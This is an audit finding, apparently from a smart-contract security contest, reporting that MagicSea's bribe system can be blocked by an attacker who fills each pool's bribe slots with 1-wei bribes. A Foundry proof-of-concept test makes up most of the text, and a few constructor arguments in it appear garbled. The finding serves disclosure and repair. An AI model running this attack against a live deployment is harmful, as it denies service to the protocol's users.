Itchy Mango Lynx

High

# DOS - A malicious user can take down the bribing system

## Summary
DOS - A malicious user can take down the bribing system.

## Vulnerability Detail
There is no limit on creating bribe rewarders, allowing everyone to create as many as they want. Thus, anyone can create bribe rewarders up to the `MAX_BRIBES_PER_POOL` constant and call the `BribeRewarder::fundAndBribe()` function on each of them with the lowest `amountPerPeriod` possible (1 wei). Because the `amountPerPeriod` is too low, they can bribe for long periods. Consequently, the bribe limit for a pool within those long periods is reached, and other users can't bribe.

## Impact
An attacker can put bribes on every pool for every period with a small amount of money, preventing other users from bribing.

## Code Snippet
https://github.com/sherlock-audit/2024-06-magicsea/blob/main/magicsea-staking/src/Voter.sol#L141

## Code Snippet
```javascript
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.20;

import "forge-std/Test.sol";
import "../src/transparent/TransparentUpgradeableProxy2Step.sol";
import {ERC20Mock} from "./mocks/ERC20.sol";
import {MasterChefMock} from "./mocks/MasterChefMock.sol";
import {MlumStaking} from "../src/MlumStaking.sol";
import "../src/Voter.sol";
import "../src/rewarders/bribeRewarder.sol";
import "../src/rewarders/RewarderFactory.sol";

contract VoterTest is Test {
    address payable immutable DEV = payable(makeAddr("dev"));
    address payable immutable ATTACKER = payable(makeAddr("attacker"));
    address payable immutable NORMAL_USER = payable(makeAddr("user"));

    address pool = makeAddr("pool");

    RewarderFactory factory;
    Voter private _voter;
    MlumStaking private _pool;

    ERC20Mock private _stakingToken;
    ERC20Mock private _rewardToken;

    function setUp() public {
        vm.prank(DEV);
        _stakingToken = new ERC20Mock("MagicLum", "MLUM", 18);

        vm.startPrank(DEV);
        _rewardToken = new ERC20Mock("DAI", "DAI", 18);
        _rewardToken.mint(ATTACKER, 505);
        _rewardToken.mint(NORMAL_USER, 41e18);
        vm.stopPrank();

        vm.prank(DEV);
        address poolImpl = address(new MlumStaking(_stakingToken, _rewardToken));

        vm.startPrank(DEV);
        address factoryImpl = address(new RewarderFactory());
        factory = RewarderFactory(
            address(
                new TransparentUpgradeableProxy2Step(
                    factoryImpl,
                    ProxyAdmin2Step(address(1)),
                    abi.encodeWithSelector(
                        RewarderFactory.initialize.selector,
                        address(this),
                        new uint8 ,
                        new address 
                    )
                )
            )
        );
        vm.stopPrank();

        vm.prank(DEV);
        MasterChefMock mock = new MasterChefMock();

        _pool = MlumStaking(
            address(
                new TransparentUpgradeableProxy2Step(
                    poolImpl,
                    ProxyAdmin2Step(address(1)),
                    abi.encodeWithSelector(MlumStaking.initialize.selector, DEV)
                )
            )
        );

        vm.prank(DEV);
        address voterImpl = address(new Voter(mock, _pool, factory));

        _voter = Voter(
            address(
                new TransparentUpgradeableProxy2Step(
                    voterImpl,
                    ProxyAdmin2Step(address(1)),
                    abi.encodeWithSelector(Voter.initialize.selector, DEV)
                )
            )
        );

        vm.prank(DEV);
        factory.setRewarderImplementation(
            IRewarderFactory.RewarderType.BribeRewarder, 
            IRewarder(address(new BribeRewarder(address(_voter))))
        );

        vm.prank(DEV);
        _voter.updateMinimumLockTime(2 weeks);
    }

    function test_DOS() public {
        // The default MAX_BRIBES_PER_POOL is 5, so the attacker needs to create five bribe rewarders.
        vm.startPrank(ATTACKER);

        BribeRewarder rewarder1 = BribeRewarder(payable(address(factory.createBribeRewarder(_rewardToken, pool))));
        BribeRewarder rewarder2 = BribeRewarder(payable(address(factory.createBribeRewarder(_rewardToken, pool))));
        BribeRewarder rewarder3 = BribeRewarder(payable(address(factory.createBribeRewarder(_rewardToken, pool))));
        BribeRewarder rewarder4 = BribeRewarder(payable(address(factory.createBribeRewarder(_rewardToken, pool))));
        BribeRewarder rewarder5 = BribeRewarder(payable(address(factory.createBribeRewarder(_rewardToken, pool))));

        // The attacker bribes with the lowest amount possible.
        _rewardToken.approve(address(rewarder1), 101);
        rewarder1.fundAndBribe(1, 100, 1);

        _rewardToken.approve(address(rewarder2), 101);
        rewarder2.fundAndBribe(1, 100, 1);

        _rewardToken.approve(address(rewarder3), 101);
        rewarder3.fundAndBribe(1, 100, 1);

        _rewardToken.approve(address(rewarder4), 101);
        rewarder4.fundAndBribe(1, 100, 1);

        _rewardToken.approve(address(rewarder5), 101);
        rewarder5.fundAndBribe(1, 100, 1);

        vm.stopPrank();

        // Now the normal user is not able to bribe.
        vm.startPrank(NORMAL_USER);

        BribeRewarder rewarder6 = BribeRewarder(payable(address(factory.createBribeRewarder(_rewardToken, pool))));

        _rewardToken.approve(address(rewarder6), 41e18);
        rewarder6.fundAndBribe(10, 50, 1e18);

        vm.stopPrank();
    }
}
```
### This test will fail with the `too much bribes` message.

## Tool used
Manual Review
Foundry

## Recommendation
To mitigate this bug, the `amountPerPeriod `can be checked to ensure it is above a certain threshold, or administrators can increase the `MAX_BRIBES_PER_POOL` constant.